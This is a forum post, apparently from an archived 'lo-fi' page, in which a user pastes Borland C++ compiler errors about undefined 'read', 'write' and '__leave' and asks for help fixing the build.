QUOTE bcc32 -D_DEBUG -g100 -j25 -Od -r- -k -y -v -vi- -tWC -c -IC:\Programme\CBuilderX\include -o"D:\...\Debug_Build\untitled1.obj" untitled1.cpp Borland C++ 5.6.4 for Win32 Copyright © 1993, 2002 Borland untitled1.cpp: "untitled1.cpp": E2268 Call to undefined function 'write' in function shell(int) at line 165 "untitled1.cpp": E2268 Call to undefined function 'read' in function shell(int) at line 174 "untitled1.cpp": W8012 Comparing signed and unsigned values in function main(int,char * *) at line 267 "untitled1.cpp": W8008 Condition is always false in function main(int,char * *) at line 290 "untitled1.cpp": W8008 Condition is always false in function main(int,char * *) at line 290 "untitled1.cpp": W8012 Comparing signed and unsigned values in function main(int,char * *) at line 310 "untitled1.cpp": E2451 Undefined symbol '__leave' in function main(int,char * *) at line 387 *** 3 errors in Compile *** Build cancelled due to errors
why does he didn't accept "__leave" because its in in the sourceview bold, and he also knew "__try" and so on. Also I'm helpless with the "read" and "write" function. are they not in an include file? does anybody has an advice for me?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here .